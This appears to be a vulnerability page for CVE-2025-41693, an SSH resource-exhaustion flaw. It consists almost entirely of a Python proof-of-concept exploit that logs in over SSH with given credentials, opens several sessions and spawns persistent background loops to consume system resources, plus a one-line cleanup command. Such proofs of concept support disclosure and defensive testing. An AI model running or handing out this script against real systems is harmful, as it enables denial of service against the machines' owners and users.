CVE-2025-41693: SSH功能命令执行导致资源耗尽漏洞

#!/usr/bin/env python3 # CVE-2025-41693 PoC - SSH Resource Exhaustion # This PoC demonstrates how an attacker can execute commands via SSH # that persist and consume system resources import paramiko import time import sys def exploit_ssh(target_ip, username, password, num_sessions=5): """ PoC for CVE-2025-41693 Demonstrates command execution after login via SSH that causes resource exhaustion """ print(f"[*] Targeting: {target_ip}") print(f"[*] Username: {username}") print(f"[*] Starting exploitation...") for i in range(num_sessions): try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(target_ip, username=username, password=password, timeout=10) # Execute command that persists and consumes resources # This simulates the vulnerability where processes stay open stdin, stdout, stderr = client.exec_command('while true; do sleep 10; done &') print(f"[+] Session {i+1}: Command executed, process spawned") except Exception as e: print(f"[-] Session {i+1} failed: {str(e)}") print("[*] Exploitation complete - system resources consumed") print("[*] Management functions may be degraded") if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 poc.py <target_ip> <username> <password>") sys.exit(1) exploit_ssh(sys.argv[1], sys.argv[2], sys.argv[3]) # Example remediation command: # ssh user@target 'pkill -f "sleep 10"' # Kill orphaned processes